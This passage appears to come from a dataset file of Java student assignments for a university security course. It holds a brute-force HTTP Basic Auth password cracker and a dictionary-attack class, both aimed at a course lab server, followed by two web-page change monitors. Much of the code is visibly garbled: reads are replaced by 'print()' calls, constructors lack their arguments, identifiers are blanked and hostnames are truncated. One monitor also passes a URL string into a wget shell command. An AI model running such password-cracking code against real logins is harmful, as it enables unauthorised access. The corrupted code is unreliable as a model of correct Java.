| | \ count++;\n }\n }\n }\n }\n \n public\ |
| | \ void twoLetters()\n {\n String s1;\n char [] a = {'a','a'};\n\n\ |
| | \ for (int i0 = 0; i0 < 26; i0++)\n {\n for (int i1 = 0; i1\ |
| | \ < 26; i1++)\n {\n s1 = String.valueOf((char)(a[0] + i0))\ |
| | \ + String.valueOf((char)(a[1] + i1));\n decision(s1);\n \ |
| | \ count++;\n\n s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1]\ |
| | \ + i1)).toUpperCase();\n decision(s1);\n count++;\n\n \ |
| | \ s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n \ |
| | \ (String.valueOf((char)(a[1] + i1))).toUpperCase();\n decision(s1);\n\ |
| | \ count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase()\ |
| | \ + String.valueOf((char)(a[1] + i1));\n decision(s1);\n \ |
| | \ count++;\n }\n }\n }\n\n \n public void decision(String\ |
| | \ s1)\n {\n if (find(s1) == 200)\n {\n stopTime = System.currentTimeMillis();\n\ |
| | \ runTime = stopTime - startTime;\n System.out.println(\"***************************************\"\ |
| | );\n System.out.println(\"\\nAttack successfully\");\n System.out.println(\"\ |
| | \\nPassword is: \" + s1);\n System.out.println(\"\\nThe contents of the\ |
| | \ Web site: \");\n displayContent(s1);\n System.out.println(\"\ |
| | \\nTime taken crack: \" + runTime + \" millisecond\");\n System.out.println(\"\ |
| | \\nNumber of attempts: \" + count);\n System.out.println();\n\n \ |
| | \ System.exit(0);\n }\n }\n \n \n public int find(String s1)\n\ |
| | \ {\n int responseCode = 0;\n try\n {\n url = new URL(\"\ |
| | http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection = (HttpURLConnection)url.openConnection();\n\ |
| | \n connection.setRequestProperty(\"Authorization\",\" \" + MyBase64.encode(\"\ |
| | \" + \":\" + s1));\n\n responseCode = connection.getResponseCode();\n\n\ |
| | \ }catch (Exception e)\n {\n System.out.println(e.getMessage());\n\ |
| | \ }\n return responseCode;\n }\n\n \n public void displayContent(String\ |
| | \ pw)\n {\n BufferedReader bw = null ;\n try\n {\n url\ |
| | \ = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection =\ |
| | \ (HttpURLConnection)url.openConnection();\n\n connection.setRequestProperty(\"\ |
| | Authorization\",\" \" + MyBase64.encode(\"\" + \":\" + pw));\n InputStream\ |
| | \ stream = (InputStream)(connection.getContent());\n if (stream != null)\n\ |
| | \ {\n InputStreamReader reader = new InputStreamReader (stream);\n\ |
| | \ bw = new BufferedReader (reader);\n String line;\n\n\ |
| | \ while ((line = bw.readLine()) != null)\n {\n \ |
| | \ System.out.println(line);\n }\n }\n }\n \ |
| | \ catch (IOException e)\n {\n System.out.println(e.getMessage());\n\ |
| | \ }\n }\n}\n\n\n\n\n" |
| | - "\n\nimport java.awt.*;\nimport java.awt.event.*;\nimport java.io.*;\nimport java.net.*;\n\ |
| | \npublic class Dictionary extends Frame implements ActionListener {\n\n private\ |
| | \ TextField tf = new TextField();\n private TextArea ta = new TextArea();\n\n\ |
| | \ public void actionPerformed (ActionEvent e) {\n\t String s = tf.getText();\n\ |
| | \t String login=\"\";\n try{\n\t BufferedReader bufr = new BufferedReader\n\ |
| | \t\t\t(new FileReader (\"words1.txt\"));\n\t String inputLine=\"\";\n\n\n\n\t\ |
| | \ if (s.length() != 0)\n {\n\t\t inputLine = bufr.readLine();\n\t\t while\ |
| | \ ((inputLine != null) && (inputLine.length() != 3))\n\t\t {\n\t\t\t \n\t\t\t\ |
| | \ inputLine = bufr.readLine();\n\t\t }\n\n login=\":\"+inputLine;\n\ |
| | \t\t ta.setText (fetchURL (s,login));\n\t\t System.out.println(\"runing\"\ |
| | +login);\n\t }while(ta.getText().compareTo(\"Invalid URL\")!=0 || ta.getText().compareTo(\"\ |
| | Error URL\")!=0);\n\n\t System.out.println(\"The password is: \"+inputLine);\n\ |
| | }\ncatch(Exception ex){}\n\n }\n\n public Dictionary() {\n\n super (\"URL11\ |
| | \ Password\");\n\n \n add (tf, BorderLayout.LEFT);\n ta.setEditable(false);\n\ |
| | \ add (ta, BorderLayout.CENTER);\n tf.addActionListener (this);\n \ |
| | \ addWindowListener (new WindowAdapter() {\n public void windowClosing (WindowEvent\ |
| | \ e) {\n dispose();\n System.exit(0);\n }\n });\n \ |
| | \ }\n\n private String fetchURL (String urlString,String login) {\n StringWriter\ |
| | \ sw = new StringWriter();\n PrintWriter pw = new PrintWriter();\n\n try\ |
| | \ {\n URL url = new URL (urlString);\n\n \n MyAuthenticator =\ |
| | \ new MyAuthenticator();\n \n\n \n String encoding = new url.misc.BASE64Encoder().encode\ |
| | \ (login.getBytes());\n\n \n \n\n \n URLConnection uc =\ |
| | \ url.openConnection();\n uc.setRequestProperty (\"Authorization\", \"\ |
| | \ \" + encoding);\n InputStream content = (InputStream)uc.getInputStream();\n\ |
| | \ BufferedReader in =\n new BufferedReader (new InputStreamReader\ |
| | \ (content));\n String line;\n while ((line = in.readLine()) != null)\ |
| | \ {\n pw.println (line);\n }\n } catch (MalformedURLException\ |
| | \ e) {\n pw.println (\"Invalid URL\");\n } catch (IOException e) {\n\ |
| | \ pw.println (\"Error URL\");\n }\n return sw.toString();\n }\n\ |
| | \n\n public static void main (String args[]) {\n Frame f = new Dictionary();\n\ |
| | \ f.setSize(300, 300);\n f.setVisible (true);\n }\n\n class MyAuthenticator\ |
| | \ {\n String getPasswordAuthentication(Frame f, String prompt) {\n final\ |
| | \ Dialog jd = new Dialog (f, \"Enter password\", true);\n jd.setLayout (new\ |
| | \ GridLayout (0, 1));\n Label jl = new Label (prompt);\n jd.add (jl);\n\ |
| | \ TextField username = new TextField();\n username.setBackground (Color.lightGray);\n\ |
| | \ jd.add (username);\n TextField password = new TextField();\n \ |
| | \ password.setEchoChar ('*');\n password.setBackground (Color.lightGray);\n\ |
| | \ jd.add (password);\n Button jb = new Button (\"OK\");\n jd.add\ |
| | \ (jb);\n jb.addActionListener (new ActionListener() {\n public\ |
| | \ void actionPerformed (ActionEvent e) {\n jd.dispose();\n }\n\ |
| | \ });\n jd.pack();\n jd.setVisible(true);\n return username.getText()\ |
| | \ + \":\" + password.getText();\n\n }\n }\n\n}\n \n\n class Base64Converter\n\ |
| | \ \n \n {\n\n public static final char [ ] alphabet = {\n\ |
| | \ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', \n 'I', 'J', 'K', 'L',\ |
| | \ 'M', 'N', 'O', 'P', \n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', \n\ |
| | \ 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', \n 'g', 'h', 'i', 'j',\ |
| | \ 'k', 'l', 'm', 'n', \n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', \n\ |
| | \ 'w', 'x', 'y', 'z', '0', '1', '2', '3', \n '4', '5', '6', '7',\ |
| | \ '8', '9', '+', '/' }; \n\n \n \n\n public static String encode\ |
| | \ ( String s )\n \n {\n return encode ( s.getBytes ( ) );\n\ |
| | \ }\n\n public static String encode ( byte [ ] octetString )\n \ |
| | \ \n {\n int bits24;\n int bits6;\n\n char [ ] out\n\ |
| | \ = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];\n\n \ |
| | \ int outIndex = 0;\n int i = 0;\n\n while ( ( i + 3 ) <=\ |
| | \ octetString.length )\n {\n \n bits24 = ( octetString\ |
| | \ [ i++ ] & 0xFF ) << 16;\n bits24 |= ( octetString [ i++ ] & 0xFF )\ |
| | \ << 8;\n bits24 |= ( octetString [ i++ ] & 0xFF ) << 0;\n\n \ |
| | \ bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n out [ outIndex++ ] = alphabet\ |
| | \ [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out\ |
| | \ [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x00000FC0\ |
| | \ ) >> 6;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6\ |
| | \ = ( bits24 & 0x0000003F );\n out [ outIndex++ ] = alphabet [ bits6\ |
| | \ ];\n }\n\n if ( octetString.length - i == 2 )\n {\n \ |
| | \ \n bits24 = ( octetString [ i ] & 0xFF ) << 16;\n \ |
| | \ bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8;\n\n bits6 = ( bits24\ |
| | \ & 0x00FC0000 ) >> 18;\n out [ outIndex++ ] = alphabet [ bits6 ];\n\ |
| | \ bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out [ outIndex++\ |
| | \ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n \ |
| | \ out [ outIndex++ ] = alphabet [ bits6 ];\n\n \n out\ |
| | \ [ outIndex++ ] = '=';\n }\n else if ( octetString.length - i ==\ |
| | \ 1 )\n {\n \n bits24 = ( octetString [ i ] & 0xFF )\ |
| | \ << 16;\n\n bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n out [ outIndex++\ |
| | \ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >> 12;\n\ |
| | \ out [ outIndex++ ] = alphabet [ bits6 ];\n\n \n out\ |
| | \ [ outIndex++ ] = '=';\n out [ outIndex++ ] = '=';\n }\n\n \ |
| | \ return new String ( out );\n }\n\n \n \n }\n\n" |
| | - "\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.Properties;\nimport\ |
| | \ java.security.*;\n\npublic class WatchDog\n{\n private String file,tempfile1,tempfile2,tempfile3;\n\ |
| | \tprivate final String host=\"yallara.cs.rmit.edu.\";\n private final String\ |
| | \ email=\"@cs.rmit.edu.\";\n private final String from=\"watchdog@cs.rmit.edu.\"\ |
| | ;\n private final String subject=\"SUBJECT:Mail from Watchdog about the changes\ |
| | \ the web-.\";\n private String baseURL=\"\";\n\tprivate String msg;\n\tprivate\ |
| | \ boolean firstTime=false;\n public WatchDog(boolean flag)\n\t{\n\t\tfirstTime=flag;\n\ |
| | \t}\n\n public void startWatching(String[] urls,String fl)\n {\n\t\tfile=fl;\n\ |
| | \t\ttempfile1=fl+\"/temp1.log\";\n\t\ttempfile2=fl+\"/temp2.log\";\n\t\ttempfile3=fl+\"\ |
| | /temp3.log\";\n\t\tSystem.out.println(tempfile3);\n\n\t\tmsg=\"\";\n\t\tfor(;;)\n\ |
| | \t\t{\n\t\t\ttry\n\t\t\t{\n\n\t\t\t\tfor(int o=0;o<urls.length;o++)\n\t\t\t\t\ |
| | {\n\t\t\t\t\tfile=fl+\"/ass2_\"+o+\".log\";\n\t\t\t\t\tURL u=new URL(urls[o]);\n\ |
| | \t\t\t\t\tString f=u.getFile();\n\t\t\t\t\tString url=urls[o];\n\t\t\t\t\tif(f.lastIndexOf('.')<f.lastIndexOf('/'))\n\ |
| | \t\t\t\t\t{\n\t\t\t\t\t\turl=f.substring(0,f.lastIndexOf('/'));\n\t\t\t\t\t\t\ |
| | url=u.getProtocol()+\"://\"+u.getHost()+url;\n\t\t\t\t\t}\n\t\t\t\t\tSystem.out.println(url);\n\ |
| | \t\t\t\t\twatch(url);\n\t\t\t\t\tmsg=msg+\"\\n\\n\";\n\t\t\t\t}\n\t\t\t\tif(firstTime==false)\n\ |
| | \t\t\t\t{\n\t\t\t boolean flag=mail(msg);\n\t\t\t if(flag)\n\t\t\t\t\t\ |
| | System.out.println(\"mail sent\");\n\t\t\t\t else\n\t\t\t\t\tSystem.out.println(\"\ |
| | mail not sent\");\n \t\t\t\t Thread.sleep(1000*60*60*24);\n\t\t\t\t}\n\t\t\t\t\ |
| | else\n\t\t\t\t\tSystem.exit(0);\n\t\t\t}\n\t\t\tcatch(Exception e)\n\t\t\t{\n\t\ |
| | \t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\t\t\t\n }\n\n\tprivate void watch(String\ |
| | \ url) throws IOException\n\t{\n\t\t baseURL=url;\n\t\t msg=msg+\"Going\ |
| | \ check the URL \"+url+\".\\n\";\n\t \n\t\t String pageText=getResource(url);\n\ |
| | \n\t\t\t String [] images=getImages(pageText);\n\n\t\t\t if(firstTime==false)\n\ |
| | \t msg= msg + checkChange(pageText,images);\t \n\n\t\t msg=msg+\"\ |
| | . Checked at \"+new java.util.Date(System.currentTimeMillis())+\".\";\n\n\t\t\ |
| | \ log(pageText,images);\n\n\t\t\tif(firstTime)\n\t\t\t\tSystem.out.println(\"\ |
| | Re-run the watchDog (without the First flag).\");\n\t}\n\tprivate String checkChange(String\ |
| | \ pageText,String [] images) throws IOException\n\t{\n\t\t\n\t\tPrintWriter out=new\ |
| | \ PrintWriter(new FileOutputStream(tempfile1));\n\t\tout.println(pageText);\n\t\ |
| | \tout.flush();\n\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\");\n\ |
| | \t\tout.flush();\n\t\tout.print();\n\t\tout=null;\n\n\t\tBufferedReader in1=new\ |
| | \ BufferedReader(new FileReader(file));\n\t\tBufferedReader in2=new BufferedReader(new\ |
| | \ FileReader(tempfile1));\t\n\t\tString msg=\"\\n\";\n \tString temp1=\"\ |
| | \",temp2=\"\",oldText=\"\",newText=\"\";\n\n\t\t\n\t\tBufferedReader in0=new BufferedReader(new\ |
| | \ FileReader(tempfile1));\n\t\twhile (temp1.equals(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\ |
| | +\"\\n\")==false)\n\t\t{\n\t\t\ttemp1=in0.readLine();\n\t\t\ttemp1=temp1+\"\\\ |
| | n\";\n\t\t\tnewText=newText+temp1;\n\t\t}\n\t\tin0.print();\n\t\tin0=null;\n\t\ |
| | \t\n\t\tout=new PrintWriter(new FileOutputStream(tempfile1));\n\t\tout.println(newText);\n\ |
| | \t\tout.flush();\n\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\ |
| | );\n\t\tout.flush();\n\t\tout.print();\n\t\tout=null;\n\t\tnewText=\"\";\n\t\t\ |
| | temp1=\" \";\n\n\t\twhile (temp1.equals(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\ |
| | +\"\\n\")==false)\n\t\t{\n\t\t\ttemp1=in1.readLine();\n\t\t\ttemp1=temp1+\"\\\ |
| | n\";\n\t\t\ttemp2=in2.readLine();\n\t\t\ttemp2=temp2+\"\\n\";\n\t\t\toldText=oldText+temp1;\n\ |
| | \t\t\tnewText=newText+temp2;\n\t\t}\t\t\n\n\t\tin2.print();\n\t\tin2=null;\n\n\ |
| | \t\tout=new PrintWriter(new FileOutputStream(tempfile2));\n\t\tout.println(oldText);\n\ |
| | \t\tout.flush();\n\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\ |
| | );\n\t\tout.flush();\n\t\tout.print();\n\t\tout=null;\n\n\t\tmsg=msg+DiffPrint.getDiff(tempfile1,tempfile2,tempfile3);\n\ |
| | \t\tString data=\"\";\n\t\ttry{\n\t\t\tFileReader fin=new FileReader(tempfile3);\n\ |
| | \t\t\tint ch=fin.print();\n\t\t\twhile(ch!= -1)\n\t\t\t{\n\t\t\t data=data+\"\ |
| | \"+(char)ch;\n\t\t\t\t ch=fin.print();\n\t\t\t}\n\t\t}\n\t\tcatch(FileNotFoundException\ |
| | \ m){}\n\n\t\tmsg=msg+data;\n\n\t\ttemp1=in1.readLine();\n\n\t\tint numImg=Integer.parseInt(temp1);\n\ |
| | \t\tif(numImg != images.length)\n\t\t\tmsg=msg+\"The number of images has chnaged.\\\ |
| | n The number of images before was \"+numImg+\" \\n While the number of images\ |
| | \ found now is \"+images.length+\" .\\n\";\n\t\telse\n\t\t\tmsg=msg+\" is change\ |
| | \ in the number of images the .\\n\";\n\n\t\tString iText1=\"\",iText2=\"\";\n\ |
| | \t\t\n\t\tfor(int i=0;i<numImg;i++)\n\t\t{\n\t\t\tout=new PrintWriter(new FileOutputStream(tempfile1));\n\ |
| | \t\t\tout.println(images[i]);\n\t\t\tout.flush();\n\t\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\ |
| | );\n\t\t\tout.flush();\n\t\t\tout.print();\n\t\t\tout=null;\n\n\t\t\tin2=new BufferedReader(new\ |
| | \ FileReader(tempfile1));\n\t\n\t\t\twhile (temp1.equals(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\ |
| | +\"\\n\")==false)\n\t\t\t{\n\t\t\t\n\t\t\t\ttemp1=in1.readLine();\n\t\t\t\ttemp1=temp1+\"\ |
| | \\n\";\n\t\t\t\ttemp2=in2.readLine();\n\t\t\t\ttemp2=temp2+\"\\n\";\n\t\t\t\t\ |
| | iText1=iText1+temp1;\n\t\t\t\tiText2=iText2+temp2;\n\t\t\t}\n\t\t\t\n\t\t\tin2.print();\n\ |
| | \t\t\tin2=null;\n\n\t\t\tif(iText1.equals(iText2))\n\t\t\t\tmsg=msg+\" is change\ |
| | \ in the Image number \"+(i+1)+\". \\n\";\n\t\t\telse\n\t\t\t\tmsg=msg+\"The Image\ |
| | \ number \"+(i+1)+\" has changed. \\n\";\n\t\t}\n\n\t\treturn msg;\n\t}\n\tprivate\ |
| | \ String[] getImages(String text) throws IOException\n\t{\n\t\tString [] images,urls;\n\ |
| | \t\tjava.util.ArrayList alist=new java.util.ArrayList();\n\t\tString t=\"\";\n\ |
| | \t\tboolean img=false;\n\t\tint len=text.length();\n\t\tchar ch,last=' ';\n\t\t\ |
| | int c=0;\n\t\twhile(c<len)\n\t\t{\n\t\t\tch=text.charAt(c);\n\t\t\tif(ch=='<')\n\ |
| | \t\t\t{\n\t\t\t\tlast='<';\n\t\t\t\tt=\"\";\n\t\t\t}\n\t\t\tif(last=='<')\n\t\t\ |
| | \t{\n\t\t\t\tt=\"\"+ch;\n\t\t\t\tif(c+2 < len)\n\t\t\t\t\tt=t+text.charAt(c+1)+\"\ |
| | \"+text.charAt(c+2);\n\t\t\t\tif(t.equalsIgnoreCase(\"img\"))\n\t\t\t\t\timg=true;\n\ |
| | \t\t\t}\n\t\t\tif(img==true)\n\t\t\t\tt=+ch;\n\t\t\tif(ch=='>')\n\t\t\t{\n\t\t\ |
| | \t\tlast='>';\n\t\t\t\tif(img==true)\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\tSystem.out.println();\n\ |
| | \t\t\t\t\tint n=0;\n\t\t\t\t\tchar tch,tlast=' ';\n\t\t\t\t\tString imgPath=\"\ |
| | \",tn=\"\";\n\t\t\t\t\tboolean src=false;\n\t\t\t\t\twhile(n<t.length())\n\t\t\ |
| | \t\t\t{\n\t\t\t\t\t\ttch=t.charAt(n);\n\t\t\t\t\t\ttn=\"\"+tch;\n\t\t\t\t\t\t\ |
| | if(src==false && tn.equalsIgnoreCase(\"s\") && (n+2)<t.length())\n\t\t\t\t\t\t\ |
| | {\n\t\t\t\t\t\t\ttn=tn+t.charAt(n+1)+\"\"+t.charAt(n+2);\n\t\t\t\t\t\t\tif(tn.equalsIgnoreCase(\"\ |
| | src\"))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tsrc=true;\n\t\t\t\t\t\t\t\tn+=2;\n\t\ |
| | \t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if(src==true)\n\t\t\t\t\t\t{\n\t\ |
| | \t\t\t\t\t\tif(tch!='\"')\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif(tch==' ' && imgPath.indexOf('.')!=\ |
| | \ -1)\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tn=t.length();\n\t\t\t\t\t\t\t\telse if(tch=='\ |
| | \ ' || tch=='=')\n\t\t\t\t\t\t\t\t\t;\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\ |
| | imgPath=imgPath+tch;\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\ |
| | \t\tn++;\n\t\t\t\t\t}\n\t\t\t\t\talist.add(imgPath);\n\t\t\t\t}\n\t\t\t\timg=false;\n\ |
| | \t\t\n\t\t\t}\n\t\t\tc++;\n\t\t}\n\t\turls=(String[])alist.toArray(new String[0]);\ |
| | \ \n\t\timages=new String[urls.length];\n\t\tfor(int i=0;i<urls.length;i++)\n\t\ |
| | \t{\n\t\t\tSystem.out.println(urls[i]);\n\t\t\tif(urls[i].startsWith(\"http\"\ |
| | )==false && urls[i].startsWith(\"HTTP\")==false && urls[i].startsWith(\"/\")==false)\n\ |
| | \t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\timages[i]=getResource(baseURL+\"/\"\ |
| | +urls[i]);\t\t\t\n\t\t\t\t}\n\t\t\t\tcatch(FileNotFoundException fnfe)\n\t\t\t\ |
| | \t{\n\t\t\t\t\tString f=baseURL+\"/\"+urls[i];\n\t\t\t\t\timages[i]=f.substring(0,f.lastIndexOf('/'));\n\ |
| | \t\t\t\t}\n\t\t\t}\n\t\t\telse if(urls[i].startsWith(\"http\")==false && urls[i].startsWith(\"\ |
| | HTTP\")==false)\t\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\timages[i]=getResource(baseURL+urls[i]);\n\ |
| | \t\t\t\t}\n\t\t\t\tcatch(FileNotFoundException fnfe)\n\t\t\t\t{\n\t\t\t\t\tString\ |
| | \ f=baseURL+urls[i];\n\t\t\t\t\timages[i]=f.substring(0,f.lastIndexOf('/'));\n\ |
| | \t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\timages[i]=getResource(urls[i]);\n\ |
| | \t\t\t\t}\n\t\t\t\tcatch(FileNotFoundException fnfe)\n\t\t\t\t{\n\t\t\t\t\timages[i]=urls[i].substring(0,urls[i].lastIndexOf('/'));\n\ |
| | \t\t\t\t}\n\n\t\t\t}\n\n\t\t}\n\t\treturn images;\n\t}\n\tprivate void log(String\ |
| | \ pageText,String[] images) throws IOException\n {\n\t\tPrintWriter out=new\ |
| | \ PrintWriter(new FileOutputStream(file));\n\t\tout.println(pageText);\n\t\tout.flush();\n\ |
| | \t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\");\n\t\tout.flush();\t\ |
| | \n\n\t\tif(images.length>0)\n\t\t{\n\t\t\tout.println(images.length+\"\");\n\t\ |
| | \t\tout.flush();\t\n\t\t}\n\t\tfor(int i=0;i<images.length;i++)\n\t\t{\n\t\t\t\ |
| | out.println(images[i]);\n\t\t\tout.flush();\n\t\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\ |
| | );\n\t\t\tout.flush();\t\t\n\t\t}\t\n\n\t}\n\n public String getResource(String\ |
| | \ url) throws IOException\n\t{\n\t\t\t\tSystem.out.println(\"url=\"+url);\n\t\t\ |
| | \t\tString urlData=new String(\"\");\n InputStreamReader in=new\ |
| | \ InputStreamReader(new URL(url).openStream());\n int ch=in.print();\n\ |
| | \ while(ch!= -1)\n {\n urlData=urlData+(char)ch;\n\ |
| | \ ch=in.print();\n }\n\t\treturn urlData;\n\t\ |
| | }\n\n public boolean mail (String msg) throws IOException\n {\n\ |
| | \ boolean ret=true;\n try\n {\n \ |
| | \ Socket csoc=new Socket(\"yallara.cs.rmit.edu.\",25);\n BufferedReader\ |
| | \ in=new BufferedReader(new InputStreamReader(csoc.getInputStream()));\n \ |
| | \ PrintWriter out=new PrintWriter(csoc.getOutputStream(),true);\n \ |
| | \ out.println(\"HELO \"+host);\n System.out.println(in.readLine());\n\ |
| | \ out.println(\"MAIL FROM:\"+from);\n System.out.println(in.readLine());\n\ |
| | \ out.println(\"RCPT :\");\n System.out.println(in.readLine());\n\ |
| | \ out.println(\"DATA\");\n System.out.println(in.readLine());\n\ |
| | \ out.println(\"SUBJECT:\"+subject);\n System.out.println(in.readLine());\n\ |
| | \ out.println(msg);\n \t out.println(\".\");\n \ |
| | \ System.out.println(in.readLine());\n out.println(\"QUIT\");\n \ |
| | \ System.out.println(in.readLine());\n }\n catch(Exception\ |
| | \ e)\n {\n e.printStackTrace();\n System.out.println(\"\ |
| | Some error occoured while communicating server\");\n ret=false;\n\ |
| | \ \t return ret;\n }\n\t System.out.println(\"**************************************\\\ |
| | nMAIL ->\"+msg);\n return ret;\n }\n\n\tpublic static void main\ |
| | \ (String[] args)\n\t{\n\t\tSystem.out.println(\"Usage : \\n java WatchDog <space\ |
| | \ seperated list of urls> <current path> [First] \\n {The First at the end is\ |
| | \ used when running the watch dog for a new URL for the first Time}\");\n\t\t\ |
| | boolean flag=false;\n\t\tint num=args.length-1;\n\t\tif(args[args.length-1].equalsIgnoreCase(\"\ |
| | First\"))\n\t\t{\n\t\t\tnum--;;\n\t\t\tflag=true;\n\t\t}\nSystem.out.println(args[num]);\n\ |
| | \n\t\tWatchDog w=new WatchDog(flag);\n\t\tString []u=new String[num];\n\t\tfor(int\ |
| | \ i=0;i<u.length;i++)\n\t\t\tu[i]=args[i];\n\t\tw.startWatching(u,args[num]);\n\ |
| | \t}\n}\n" |
| | - source_sentence: "import java.net.*;\nimport java.io.*;\nimport java.util.*;\nimport\ |
| | \ java.text.*;\n\n\n\n\npublic class WatchDog{\n \n \n \n \n \n public\ |
| | \ static void main (String[] args) throws InterruptedException, IOException{\n\ |
| | \n \n String urlString = \"http://www.cs.rmit.edu./students/\";\n \n\ |
| | \ \n String mesg = \"\";\n \n boolean flag = false;\n \n InputStream\ |
| | \ rtemp;\n \n if (args.length == 2) {\n \t\n \tSystem.err.println\ |
| | \ (\n \t\t\n \t\t\"Usage : java BruteForce <Host> <Mailhost> <Sending\ |
| | \ E-mail>\");\n \treturn;\n \t\n }\n \n \n \n BufferedReader\ |
| | \ rnew;\n \n BufferedReader rold = ReadFile (urlString);\n \n SaveFile(\"\ |
| | weblog\",urlString); \n \n Date lasttime = CheckTime(urlString);\n \n\ |
| | \ \n Date newtime = new Date();\n \n int i = 0; \n \n System.out.println(\"\ |
| | ......\"); \n \n \n while (true) {\n \t\n \t \t\n \tnewtime\ |
| | \ = CheckTime(urlString);\n \t\n \tSystem.out.println (\"Checking \"+ new\ |
| | \ Date());\n \t\n \tif (newtime.toString().equals(lasttime.toString())==false)\ |
| | \ {\n \t\t\n \t\n \t rnew = ReadFile (urlString);\n \t \t\n\ |
| | \ \t\t \t\t\n \t\tmesg = CompareFile(rold,rnew);\n \t\t\n \t\t\ |
| | \n \t\tSaveFile(\"weblog\",urlString);\n \t\t\n \t\t\n \t\trold\ |
| | \ = OpenFile (\"weblog\");\n \t\t\n \t\t\n \t\tlasttime=newtime;\n \t\ |
| | \t\n \t System.out.println(\"Sending message\");\n \t \n \t \ |
| | \ SendMail(trimtag(mesg),args[0],args[1],args[2]); \n \t \n \t System.out.println(trimtag(mesg));\n\ |
| | \ \t\n \t\n \t} \n \t\n \tThread.sleep (24*3600*1000); \n \t\ |
| | }\n \n \n \n }\n\n \n \n private static BufferedReader ReadFile\ |
| | \ (String urlString) throws IOException{\n \t\n \t \ |
| | \ \n \n URL url = new URL (urlString);\n\n \n HttpURLConnection\ |
| | \ uc = (HttpURLConnection) url.openConnection();\n \n \n \ |
| | \ InputStream in = (InputStream) uc.getInputStream();\n \n BufferedReader\ |
| | \ r = new BufferedReader (new InputStreamReader (in));\n \n \n \ |
| | \ \n return r;\n \n \n }\n\n \n\n private static BufferedReader\ |
| | \ OpenFile (String FileName) throws IOException{\n \t\n FileInputStream\ |
| | \ in = new FileInputStream (FileName);\n \n InputStreamReader is=\ |
| | \ new InputStreamReader (in); \t \n \n BufferedReader\ |
| | \ r = new BufferedReader (is);\n \n \n return r;\n \n\ |
| | \ \n \n \n }\n\n\n \n \nprivate static void SaveFile (String\ |
| | \ FileName, String urlstring) throws IOException{\n \t\n \t \n \tString\ |
| | \ cmd = \"wget -q \"+urlstring+\" -O \"+ FileName ;\n \t\n \t\n \tRuntime.getRuntime().exec(cmd);\ |
| | \ \n \t \n }\n\n \n \n \n \n private static Date CheckTime (String\ |
| | \ urlString) throws IOException {\n \t\n \t URL url = new URL (urlString);\n\ |
| | \n \n HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\ |
| | \ \n uc.setRequestMethod (\"HEAD\");\n \n return (new\ |
| | \ Date (uc.getLastModified()));\n \n \n \n } \n\ |
| | \ \n \n \n private static String CompareFile (BufferedReader inold, BufferedReader\ |
| | \ innew) throws IOException{\n \t\n \t\n \t\n \t Vector newF= new Vector\ |
| | \ ();\n Vector oldF= new Vector ();\n\n\n int old_count=0;\n\t \t\ |
| | int new_count=0;\n\n\t \tString line=\"\";\n\n StringBuffer mesg = new\ |
| | \ StringBuffer (\"NEW CONTENT : \\n\");\n\n\t \tint j;\n \n \n \ |
| | \ \n\t while ((line=inold.readLine())!= null){\n\n\t \t\t if (line.trim().length()!=0){\n\ |
| | \t \t\t oldF.addElement(line);\n\t \t\t \n\t \t\n\t \t\t \n\t \t\t }\n\n\t \t\ |
| | \t }\n\n\t \twhile ((line=innew.readLine()) != null){\n\t \t\t if (line.trim().length()!=0){\n\ |
| | \t \t\t newF.addElement(line);\n\t }\n\n\t \t\t }\n\n\t \tfor (int i=0;\ |
| | \ i<newF.size();i++){\n\n\t \t\t j=0;\n\n\t \t\t while (((String)newF.elementAt(i)).equals((String)oldF.elementAt(j))==false){\n\ |
| | \n\t \t\t \tj++;\n \n if (j==oldF.size()) \n \ |
| | \ { j--;\n \tbreak;\n }\n\t \t\t\ |
| | \ \t}\n\n \n \n\t \t\t if (((String)newF.elementAt(i)).equals((String)oldF.elementAt(j))){\n\ |
| | \n newF.removeElementAt(i);\n\t \t i--;\n\t \t \ |
